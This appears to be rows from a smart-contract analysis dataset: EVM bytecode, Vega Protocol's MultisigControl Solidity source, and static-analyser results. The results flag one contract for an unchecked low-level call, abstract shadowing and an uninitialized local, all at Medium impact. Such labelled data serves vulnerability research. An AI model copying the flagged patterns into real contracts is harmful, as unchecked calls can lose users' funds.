ffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a38080600101915050611120565b50505050565b6112fe611ccd565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113945780601f1061136957610100808354040283529160200191611394565b820191906000526020600020905b81548152906001019060200180831161137757829003601f168201915b5050505050905090565b33600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006113eb611ce1565b6113f48461186e565b1561140b57611404848483611881565b9150611419565b611416848483611b39565b91505b5092915050565b600660149054906101000a900460ff1681565b600061143e8461186e565b156114555761144e848484611881565b9050611463565b611460848484611b39565b90505b9392505050565b6000806114768661186e565b15611784578461148533610e58565b101561149057600080fd5b6114a261149c33610e58565b866117fd565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114f76114f187610e58565b866117c1565b600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508590508073ffffffffffffffffffffffffffffffffffffffff166000846040518082805190602001908083835b60208310151561158c5780518252602082019150602081019050602083039250611567565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903388886040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b8381101561166d578082015181840152602081019050611652565b50505050905090810190601f16801561169a5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af1935050505050836040518082805190602001908083835b6020831015156116e957805182526020820191506020810190506020830392506116c4565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16886040518082815260200191505060405180910390a460019150611792565b61178f868686611b39565b91505b50949350505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038311156117f257600080fd5b818301905092915050565b60008183101561180c57600080fd5b818303905092915050565b60008082141561182a5760009050611868565b817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81151561185557fe5b0483111561186257600080fd5b81830290505b92915050565b600080823b905060008111915050919050565b6000808361188e33610e58565b101561189957600080fd5b6118ab6118a533610e58565b856117fd565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119006118fa86610e58565b856117c1565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a085780820151818401526020810190506119ed565b50505050905090810190601f168015611a355780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a5557600080fd5b5af11515611a6257600080fd5b505050826040518082805190602001908083835b602083101515611a9b5780518252602082019150602081019050602083039250611a76565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a460019150509392505050565b600082611b4533610e58565b1015611b5057600080fd5b611b62611b5c33610e58565b846117fd565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bb7611bb185610e58565b846117c1565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515611c305780518252602082019150602081019050602083039250611c0b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a4600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a7230582019b85762b797b0056200a142dee9f42c29dd1f9c42aaf01c8cc4237dcaccbba80029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,598 |
0x9d0707C91C67d598808834b4881348684e92E11e | //SPDX-License-Identifier: MIT
pragma solidity 0.8.1;
/// @title MultisigControl Interface
/// @author Vega Protocol
/// @notice Implementations of this interface are used by the Vega network to control smart contracts without the need for Vega to have any Ethereum of its own.
/// @notice To do this, the Vega validators sign a MultisigControl order to construct a signature bundle. Any interested party can then take that signature bundle and pay the gas to run the command on Ethereum
abstract contract IMultisigControl {
/***************************EVENTS****************************/
event SignerAdded(address new_signer);
event SignerRemoved(address old_signer);
event ThresholdSet(uint16 new_threshold);
/**************************FUNCTIONS*********************/
/// @notice Sets threshold of signatures that must be met before function is executed.
/// @param new_threshold New threshold value
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @notice Ethereum has no decimals, threshold is % * 10 so 50% == 500 100% == 1000
/// @notice signatures are OK if they are >= threshold count of total valid signers
/// @dev MUST emit ThresholdSet event
function set_threshold(uint16 new_threshold, uint nonce, bytes memory signatures) public virtual;
/// @notice Adds new valid signer and adjusts signer count.
/// @param new_signer New signer address
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @dev MUST emit 'SignerAdded' event
function add_signer(address new_signer, uint nonce, bytes memory signatures) public virtual;
/// @notice Removes currently valid signer and adjusts signer count.
/// @param old_signer Address of signer to be removed.
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @dev MUST emit 'SignerRemoved' event
function remove_signer(address old_signer, uint nonce, bytes memory signatures) public virtual;
/// @notice Verifies a signature bundle and returns true only if the threshold of valid signers is met,
/// @notice this is a function that any function controlled by Vega MUST call to be securely controlled by the Vega network
/// @notice message to hash to sign follows this pattern:
/// @notice abi.encode( abi.encode(param1, param2, param3, ... , nonce, function_name_string), validating_contract_or_submitter_address);
/// @notice Note that validating_contract_or_submitter_address is the the submitting party. If on MultisigControl contract itself, it's the submitting ETH address
/// @notice if function on bridge that then calls Multisig, then it's the address of that contract
/// @notice Note also the embedded encoding, this is required to verify what function/contract the function call goes to
/// @return MUST return true if valid signatures are over the threshold
function verify_signatures(bytes memory signatures, bytes memory message, uint nonce) public virtual returns(bool);
/**********************VIEWS*********************/
/// @return Number of valid signers
function get_valid_signer_count() public virtual view returns(uint8);
/// @return Current threshold
function get_current_threshold() public virtual view returns(uint16);
/// @param signer_address target potential signer address
/// @return true if address provided is valid signer
function is_valid_signer(address signer_address) public virtual view returns(bool);
/// @param nonce Nonce to lookup
/// @return true if nonce has been used
function is_nonce_used(uint nonce) public virtual view returns(bool);
}
/// @title MultisigControl
/// @author Vega Protocol
/// @notice This contract enables validators, through a multisignature process, to run functions on contracts by consensus
contract MultisigControl is IMultisigControl {
constructor () {
// set initial threshold to 50%
threshold = 500;
signers[msg.sender] = true;
signer_count++;
emit SignerAdded(msg.sender, 0);
}
uint16 threshold;
uint8 signer_count;
mapping(address => bool) signers;
mapping(uint => bool) used_nonces;
mapping(bytes32 => mapping(address => bool)) has_signed;
event SignerAdded(address new_signer, uint256 nonce);
event SignerRemoved(address old_signer, uint256 nonce);
event ThresholdSet(uint16 new_threshold, uint256 nonce);
/**************************FUNCTIONS*********************/
/// @notice Sets threshold of signatures that must be met before function is executed.
/// @param new_threshold New threshold value
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @notice Ethereum has no decimals, threshold is % * 10 so 50% == 500 100% == 1000
/// @notice signatures are OK if they are >= threshold count of total valid signers
/// @dev Emits ThresholdSet event
function set_threshold(uint16 new_threshold, uint256 nonce, bytes memory signatures) public override{
require(new_threshold <= 1000 && new_threshold > 0, "new threshold outside range");
bytes memory message = abi.encode(new_threshold, nonce, "set_threshold");
require(verify_signatures(signatures, message, nonce), "bad signatures");
threshold = new_threshold;
emit ThresholdSet(new_threshold, nonce);
}
/// @notice Adds new valid signer and adjusts signer count.
/// @param new_signer New signer address
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @dev Emits 'SignerAdded' event
function add_signer(address new_signer, uint256 nonce, bytes memory signatures) public override{
bytes memory message = abi.encode(new_signer, nonce, "add_signer");
require(!signers[new_signer], "signer already exists");
require(verify_signatures(signatures, message, nonce), "bad signatures");
signers[new_signer] = true;
signer_count++;
emit SignerAdded(new_signer, nonce);
}
/// @notice Removes currently valid signer and adjusts signer count.
/// @param old_signer Address of signer to be removed.
/// @param nonce Vega-assigned single-use number that provides replay attack protection
/// @param signatures Vega-supplied signature bundle of a validator-signed order
/// @notice See MultisigControl for more about signatures
/// @dev Emits 'SignerRemoved' event
function remove_signer(address old_signer, uint256 nonce, bytes memory signatures) public override {
bytes memory message = abi.encode(old_signer, nonce, "remove_signer");
require(signers[old_signer], "signer doesn't exist");
require(verify_signatures(signatures, message, nonce), "bad signatures");
signers[old_signer] = false;
signer_count--;
emit SignerRemoved(old_signer, nonce);
}
/// @notice Verifies a signature bundle and returns true only if the threshold of valid signers is met,
/// @notice this is a function that any function controlled by Vega MUST call to be securely controlled by the Vega network
/// @notice message to hash to sign follows this pattern:
/// @notice abi.encode( abi.encode(param1, param2, param3, ... , nonce, function_name_string), validating_contract_or_submitter_address);
/// @notice Note that validating_contract_or_submitter_address is the submitting party. If on MultisigControl contract itself, it's the submitting ETH address
/// @notice if function on bridge that then calls Multisig, then it's the address of that contract
/// @notice Note also the embedded encoding, this is required to verify what function/contract the function call goes to
/// @return Returns true if valid signatures are over the threshold
function verify_signatures(bytes memory signatures, bytes memory message, uint256 nonce) public override returns(bool) {
require(signatures.length % 65 == 0, "bad sig length");
require(!used_nonces[nonce], "nonce already used");
uint8 sig_count = 0;
bytes32 message_hash = keccak256(abi.encode(message, msg.sender));
for(uint256 msg_idx = 32; msg_idx < signatures.length + 32; msg_idx+= 65){
//recover address from that msg
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := mload(add(signatures, msg_idx))
// second 32 bytes
s := mload(add(signatures, add(msg_idx, 32)))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(signatures, add(msg_idx, 64))))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "Mallable signature error");
if (v < 27) v += 27;
address recovered_address = ecrecover(message_hash, v, r, s);
if(signers[recovered_address] && !has_signed[message_hash][recovered_address]){
has_signed[message_hash][recovered_address] = true;
sig_count++;
}
}
used_nonces[nonce] = true;
return ((uint256(sig_count) * 1000) / (uint256(signer_count))) > threshold;
}
/// @return Number of valid signers
function get_valid_signer_count() public override view returns(uint8){
return signer_count;
}
/// @return Current threshold
function get_current_threshold() public override view returns(uint16) {
return threshold;
}
/// @param signer_address target potential signer address
/// @return true if address provided is valid signer
function is_valid_signer(address signer_address) public override view returns(bool){
return signers[signer_address];
}
/// @param nonce Nonce to lookup
/// @return true if nonce has been used
function is_nonce_used(uint256 nonce) public override view returns(bool){
return used_nonces[nonce];
}
}
/**
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMWEMMMMMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM
MMMMMMLOVEMMMMMMMMMMMMMMMMMMMMMM...............MMMMMMMMMMMMM
MMMMMMMMMMHIXELMMMMMMMMMMMM....................MMMMMNNMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMM....................MMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMM88=........................+MMMMMMMMMM
MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMM....................MMMMM...MMMMMMMMMMMMMMM
MMMMMMMMMMMM.........................MM+..MMM....+MMMMMMMMMM
MMMMMMMMMNMM...................... ..MM?..MMM.. .+MMMMMMMMMM
MMMMNDDMM+........................+MM........MM..+MMMMMMMMMM
MMMMZ.............................+MM....................MMM
MMMMZ.............................+MM....................MMM
MMMMZ.............................+MM....................DDD
MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM
MMMMZ.............................+MM..ZMMMMMMMMMMMMMMMMMMMM
MM..............................MMZ....ZMMMMMMMMMMMMMMMMMMMM
MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM
MM............................MM.......ZMMMMMMMMMMMMMMMMMMMM
MM......................ZMMMMM.......MMMMMMMMMMMMMMMMMMMMMMM
MM............... ......ZMMMMM.... ..MMMMMMMMMMMMMMMMMMMMMMM
MM...............MMMMM88~.........+MM..ZMMMMMMMMMMMMMMMMMMMM
MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM
MM.......$DDDDDDD.......$DDDDD..DDNMM..ZMMMMMMMMMMMMMMMMMMMM
MM.......ZMMMMMMM.......ZMMMMM..MMMMM..ZMMMMMMMMMMMMMMMMMMMM
MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMM+.......MMMMM88NMMMMM..MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM*/ | 0x608060405234801561001057600080fd5b50600436106100885760003560e01c8063b04e3dd11161005b578063b04e3dd114610125578063ba73659a14610143578063dbe528df14610173578063f8e3a6601461019157610088565b806350ac8df81461008d5780635b9fe26b146100a95780635f061559146100d957806398c5f73e14610109575b600080fd5b6100a760048036038101906100a29190610c7e565b6101ad565b005b6100c360048036038101906100be9190610ce5565b6102d1565b6040516100d09190610fa0565b60405180910390f35b6100f360048036038101906100ee9190610b6f565b6102fb565b6040516101009190610fa0565b60405180910390f35b610123600480360381019061011e9190610b98565b610351565b005b61012d61051c565b60405161013a9190611190565b60405180910390f35b61015d60048036038101906101589190610bff565b610532565b60405161016a9190610fa0565b60405180910390f35b61017b6108e6565b6040516101889190611110565b60405180910390f35b6101ab60048036038101906101a69190610b98565b6108fd565b005b6103e88361ffff16111580156101c7575060008361ffff16115b610206576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101fd906110b0565b60405180910390fd5b6000838360405160200161021b929190611154565b6040516020818303038152906040529050610237828285610532565b610276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026d906110d0565b60405180910390fd5b836000806101000a81548161ffff021916908361ffff1602179055507ff6d24c23627520a3b70e5dc66aa1249844b4bb407c2c153d9000a2b14a1e3c1184846040516102c392919061112b565b60405180910390a150505050565b60006002600083815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008383604051602001610366929190610f64565b6040516020818303038152906040529050600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103fa90611050565b60405180910390fd5b61040e828285610532565b61044d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610444906110d0565b60405180910390fd5b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600281819054906101000a900460ff16809291906104c4906113f5565b91906101000a81548160ff021916908360ff160217905550507f99c1d2c0ed8107e4db2e5dbfb10a2549cd2a63cbe39cf99d2adffbcd03954418848460405161050e929190610eff565b60405180910390a150505050565b60008060029054906101000a900460ff16905090565b60008060418551610543919061147a565b14610583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057a906110f0565b60405180910390fd5b6002600083815260200190815260200160002060009054906101000a900460ff16156105e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105db90611090565b60405180910390fd5b60008084336040516020016105fa929190611000565b6040516020818303038152906040528051906020012090506000602090505b60208751610627919061122e565b81101561086c576000806000838a01519250602084018a01519150604084018a015160001a90507f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08260001c11156106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab90611030565b60405180910390fd5b601b8160ff1610156106d057601b816106cd9190611284565b90505b6000600186838686604051600081526020016040526040516106f59493929190610fbb565b6020604051602081039080840390855afa158015610717573d6000803e3d6000fd5b505050602060405103519050600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156107d757506003600087815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156108545760016003600088815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550868061085090611450565b9750505b50505050604181610865919061122e565b9050610619565b5060016002600086815260200190815260200160002060006101000a81548160ff02191690831515021790555060008054906101000a900461ffff1661ffff16600060029054906101000a900460ff1660ff166103e88460ff166108d091906112ec565b6108da91906112bb565b11925050509392505050565b60008060009054906101000a900461ffff16905090565b60008383604051602001610912929190610f28565b6040516020818303038152906040529050600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a790611070565b60405180910390fd5b6109bb828285610532565b6109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f1906110d0565b60405180910390fd5b60018060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600281819054906101000a900460ff1680929190610a7090611450565b91906101000a81548160ff021916908360ff160217905550507f50999ebf9b59bf3157a58816611976f2d723378ad51457d7b0413209e0cdee598484604051610aba929190610eff565b60405180910390a150505050565b6000610adb610ad6846111d0565b6111ab565b905082815260208101848484011115610af357600080fd5b610afe8482856113b3565b509392505050565b600081359050610b15816116e3565b92915050565b600082601f830112610b2c57600080fd5b8135610b3c848260208601610ac8565b91505092915050565b600081359050610b54816116fa565b92915050565b600081359050610b6981611711565b92915050565b600060208284031215610b8157600080fd5b6000610b8f84828501610b06565b91505092915050565b600080600060608486031215610bad57600080fd5b6000610bbb86828701610b06565b9350506020610bcc86828701610b5a565b925050604084013567ffffffffffffffff811115610be957600080fd5b610bf586828701610b1b565b9150509250925092565b600080600060608486031215610c1457600080fd5b600084013567ffffffffffffffff811115610c2e57600080fd5b610c3a86828701610b1b565b935050602084013567ffffffffffffffff811115610c5757600080fd5b610c6386828701610b1b565b9250506040610c7486828701610b5a565b9150509250925092565b600080600060608486031215610c9357600080fd5b6000610ca186828701610b45565b9350506020610cb286828701610b5a565b925050604084013567ffffffffffffffff811115610ccf57600080fd5b610cdb86828701610b1b565b9150509250925092565b600060208284031215610cf757600080fd5b6000610d0584828501610b5a565b91505092915050565b610d1781611346565b82525050565b610d2681611358565b82525050565b610d3581611364565b82525050565b6000610d4682611201565b610d50818561120c565b9350610d608185602086016113c2565b610d6981611538565b840191505092915050565b6000610d81600a8361121d565b9150610d8c82611549565b602082019050919050565b6000610da460188361121d565b9150610daf82611572565b602082019050919050565b6000610dc760148361121d565b9150610dd28261159b565b602082019050919050565b6000610dea60158361121d565b9150610df5826115c4565b602082019050919050565b6000610e0d60128361121d565b9150610e18826115ed565b602082019050919050565b6000610e30601b8361121d565b9150610e3b82611616565b602082019050919050565b6000610e53600d8361121d565b9150610e5e8261163f565b602082019050919050565b6000610e76600e8361121d565b9150610e8182611668565b602082019050919050565b6000610e99600e8361121d565b9150610ea482611691565b602082019050919050565b6000610ebc600d8361121d565b9150610ec7826116ba565b602082019050919050565b610edb8161136e565b82525050565b610eea8161139c565b82525050565b610ef9816113a6565b82525050565b6000604082019050610f146000830185610d0e565b610f216020830184610ee1565b9392505050565b6000606082019050610f3d6000830185610d0e565b610f4a6020830184610ee1565b8181036040830152610f5b81610d74565b90509392505050565b6000606082019050610f796000830185610d0e565b610f866020830184610ee1565b8181036040830152610f9781610eaf565b90509392505050565b6000602082019050610fb56000830184610d1d565b92915050565b6000608082019050610fd06000830187610d2c565b610fdd6020830186610ef0565b610fea6040830185610d2c565b610ff76060830184610d2c565b95945050505050565b6000604082019050818103600083015261101a8185610d3b565b90506110296020830184610d0e565b9392505050565b6000602082019050818103600083015261104981610d97565b9050919050565b6000602082019050818103600083015261106981610dba565b9050919050565b6000602082019050818103600083015261108981610ddd565b9050919050565b600060208201905081810360008301526110a981610e00565b9050919050565b600060208201905081810360008301526110c981610e23565b9050919050565b600060208201905081810360008301526110e981610e69565b9050919050565b6000602082019050818103600083015261110981610e8c565b9050919050565b60006020820190506111256000830184610ed2565b92915050565b60006040820190506111406000830185610ed2565b61114d6020830184610ee1565b9392505050565b60006060820190506111696000830185610ed2565b6111766020830184610ee1565b818103604083015261118781610e46565b90509392505050565b60006020820190506111a56000830184610ef0565b92915050565b60006111b56111c6565b90506111c1828261141f565b919050565b6000604051905090565b600067ffffffffffffffff8211156111eb576111ea611509565b5b6111f482611538565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006112398261139c565b91506112448361139c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611279576112786114ab565b5b828201905092915050565b600061128f826113a6565b915061129a836113a6565b92508260ff038211156112b0576112af6114ab565b5b828201905092915050565b60006112c68261139c565b91506112d18361139c565b9250826112e1576112e06114da565b5b828204905092915050565b60006112f78261139c565b91506113028361139c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561133b5761133a6114ab565b5b828202905092915050565b60006113518261137c565b9050919050565b60008115159050919050565b6000819050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b838110156113e05780820151818401526020810190506113c5565b838111156113ef576000848401525b50505050565b6000611400826113a6565b91506000821415611414576114136114ab565b5b600182039050919050565b61142882611538565b810181811067ffffffffffffffff8211171561144757611446611509565b5b80604052505050565b600061145b826113a6565b915060ff82141561146f5761146e6114ab565b5b600182019050919050565b60006114858261139c565b91506114908361139c565b9250826114a05761149f6114da565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f6164645f7369676e657200000000000000000000000000000000000000000000600082015250565b7f4d616c6c61626c65207369676e6174757265206572726f720000000000000000600082015250565b7f7369676e657220646f65736e2774206578697374000000000000000000000000600082015250565b7f7369676e657220616c7265616479206578697374730000000000000000000000600082015250565b7f6e6f6e636520616c726561647920757365640000000000000000000000000000600082015250565b7f6e6577207468726573686f6c64206f7574736964652072616e67650000000000600082015250565b7f7365745f7468726573686f6c6400000000000000000000000000000000000000600082015250565b7f626164207369676e617475726573000000000000000000000000000000000000600082015250565b7f62616420736967206c656e677468000000000000000000000000000000000000600082015250565b7f72656d6f76655f7369676e657200000000000000000000000000000000000000600082015250565b6116ec81611346565b81146116f757600080fd5b50565b6117038161136e565b811461170e57600080fd5b50565b61171a8161139c565b811461172557600080fd5b5056fea2646970667358221220730c1d40a27fa7f68e6d3183f6f2acec4aed69e54107ed95fa1e4fb228c9fc1164736f6c63430008010033 | {"success": true, "error": null, "results": {}} | 10,599 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.